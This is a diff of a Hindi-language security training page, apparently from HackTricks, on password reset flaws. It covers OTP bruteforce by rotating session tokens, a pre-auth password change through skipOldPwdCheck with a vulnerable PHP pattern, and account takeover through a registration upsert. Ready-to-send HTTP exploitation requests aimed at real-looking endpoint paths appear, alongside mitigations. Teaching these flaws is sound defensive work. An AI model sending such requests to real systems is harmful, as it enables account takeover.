- सर्वर द्वारा ब्लॉक किए जाने के बाद बस एक नया session token request करें।
|
||||
- यदि वेबसाइट wrong OTP attempts को ट्रैक करने के लिए user session का उपयोग कर रही है और OTP कमजोर है ( <= 4 digits) तो हम प्रभावी रूप से OTP को bruteforce कर सकते हैं।
|
||||
- **exploitation**:
|
||||
- सर्वर द्वारा ब्लॉक होने के बाद बस एक नया session token अनुरोध करें।
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
@ -234,7 +233,7 @@ print("[+] Attck stopped")
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
कुछ implementations एक password change action को expose करते हैं जो password-change routine को skipOldPwdCheck=true के साथ कॉल करता है और किसी भी reset token या ownership को verify नहीं करता। यदि endpoint request body में change_password जैसे action parameter और username/new password स्वीकार करता है, तो एक attacker pre-auth arbitrary accounts reset कर सकता है।
|
||||
कुछ implementations एक password change action expose करती हैं जो password-change routine को skipOldPwdCheck=true के साथ कॉल करती है और किसी भी reset token या ownership का सत्यापन नहीं करती। यदि endpoint action parameter जैसे change_password और request body में username/new password स्वीकार करता है, तो एक attacker pre-auth arbitrary accounts reset कर सकता है।
|
||||
|
||||
कमजोर पैटर्न (PHP):
|
||||
```php
|
||||
@ -256,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Exploitation request (अवधारणा):
|
||||
Exploitation अनुरोध (अवधारणा):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
निवारक उपाय:
|
||||
- पासवर्ड बदलने से पहले हमेशा खाते और session से जुड़ा वैध, समय-सीमित reset token आवश्यक करें।
|
||||
- skipOldPwdCheck paths को अप्रमाणित उपयोगकर्ताओं के लिए कभी प्रकट न करें; नियमित पासवर्ड बदलाव के लिए प्रमाणीकरण लागू करें और पुराने पासवर्ड का सत्यापन करें।
|
||||
- पासवर्ड बदलने के बाद सभी सक्रिय sessions और reset tokens को अमान्य करें।
|
||||
Mitigations:
|
||||
- पासवर्ड बदलने से पहले हमेशा खाते और session से बाउंड एक वैध, समय-सीमित reset token की आवश्यकता रखें।
|
||||
- कभी skipOldPwdCheck paths को अनप्रमाणित उपयोगकर्ताओं के लिए एक्सपोज़ न करें; नियमित password परिवर्तन के लिए authentication लागू करें और old password को सत्यापित करें।
|
||||
- पासवर्ड परिवर्तन के बाद सभी active sessions और reset tokens को अमान्य कर दें।
|
||||
|
||||
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||
|
||||
कुछ applications signup handler को upsert के रूप में लागू करते हैं। अगर email पहले से मौजूद है, तो handler अनुरोध को reject करने के बजाय user रिकॉर्ड को चुपचाप अपडेट कर देता है। जब registration endpoint एक मौजूदा email और एक नया password वाला न्यूनतम JSON body स्वीकार करता है, तो यह प्रभावी रूप से ownership verification के बिना एक pre-auth password reset बन जाता है, जिससे full account takeover संभव हो जाता है।
|
||||
|
||||
Pre-auth ATO PoC (overwriting an existing user's password):
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user